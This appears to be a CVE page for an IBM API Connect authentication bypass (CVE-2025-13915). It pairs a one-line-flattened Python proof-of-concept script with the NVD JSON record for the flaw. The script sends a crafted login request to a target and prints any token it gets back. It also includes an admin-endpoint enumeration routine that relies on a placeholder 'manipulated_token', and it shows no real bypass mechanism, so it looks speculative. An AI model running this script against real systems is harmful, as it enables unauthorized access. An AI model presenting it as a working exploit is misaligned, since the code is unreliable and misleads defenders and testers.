CVE-2025-13915

import requests import json # CVE-2025-13915 IBM API Connect Authentication Bypass PoC # Target: IBM API Connect 10.0.8.0 - 10.0.8.5, 10.0.11.0 TARGET = "https://target-api-connect.example.com" VULN_PATH = "/api/authenticationAPI/v1/authenticationmethod" def check_vulnerability(): """Check if target is vulnerable to CVE-2025-13915""" headers = { "Content-Type": "application/json", "User-Agent": "IBM-APIConnect-Scanner/1.0" } # Attempt authentication bypass with malformed request payload = { "grant_type": "password", "username": "admin", "password": "invalid_password", "realm": "provider/default-idp-1" } try: response = requests.post( f"{TARGET}{VULN_PATH}", json=payload, headers=headers, verify=False, timeout=10 ) if response.status_code == 200: data = response.json() if "access_token" in data or "token" in data: print(f"[!] VULNERABLE: Authentication bypass successful") print(f"[+] Token obtained: {data.get('access_token', data.get('token'))[:50]}...") return True print(f"[*] Status: {response.status_code}") print(f"[*] Response: {response.text[:200]}") return False except requests.exceptions.RequestException as e: print(f"[-] Error: {e}") return False def exploit_admin_access(): """Exploit to gain admin access after bypass""" # After bypassing auth, enumerate admin endpoints admin_endpoints = [ "/api/cloud/integrationServices/1.0/organizations", "/api/cloud/integrationServices/1.0/analytics", "/api/management/2.0/invitations" ] for endpoint in admin_endpoints: try: response = requests.get( f"{TARGET}{endpoint}", headers={"Authorization": "Bearer manipulated_token"}, verify=False ) print(f"[*] {endpoint}: {response.status_code}") except: pass if __name__ == "__main__": print("CVE-2025-13915 IBM API Connect Auth Bypass PoC") print("=" * 50) check_vulnerability()

{"cve": {"id": "CVE-2025-13915", "sourceIdentifier": "[email protected]", "published": "2025-12-26T14:15:58.193", "lastModified": "2025-12-31T21:37:43.290", "vulnStatus": "Analyzed", "cveTags": [], "descriptions": [{"lang": "en", "value": "IBM API Connect 10.0.8.0 through 10.0.8.5, and 10.0.11.0 could allow a remote attacker to bypass authentication mechanisms and gain unauthorized access to the application."}], "metrics": {"cvssMetricV31": [{"source": "[email protected]", "type": "Secondary", "cvssData": {"version": "3.1", "vectorString": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H", "baseScore": 9.8, "baseSeverity": "CRITICAL", "attackVector": "NETWORK", "attackComplexity": "LOW", "privilegesRequired": "NONE", "userInteraction": "NONE", "scope": "UNCHANGED", "confidentialityImpact": "HIGH", "integrityImpact": "HIGH", "availabilityImpact": "HIGH"}, "exploitabilityScore": 3.9, "impactScore": 5.9}]}, "weaknesses": [{"source": "[email protected]", "type": "Secondary", "description": [{"lang": "en", "value": "CWE-305"}]}], "configurations": [{"nodes": [{"operator": "OR", "negate": false, "cpeMatch": [{"vulnerable": true, "criteria": "cpe:2.3:a:ibm:api_connect:*:*:*:*:*:*:*:*", "versionStartIncluding": "10.0.8.0", "versionEndIncluding": "10.0.8.5", "matchCriteriaId": "93252B35-2824-4183-8D91-E3AAE4ADBB22"}, {"vulnerable": true, "criteria": "cpe:2.3:a:ibm:api_connect:10.0.11.0:*:*:*:*:*:*:*", "matchCriteriaId": "CB79D210-459D-4394-9895-B15DA4069C6A"}]}]}], "references": [{"url": "https://www.ibm.com/support/pages/node/7255149", "source": "[email protected]", "tags": ["Vendor Advisory"]}]}}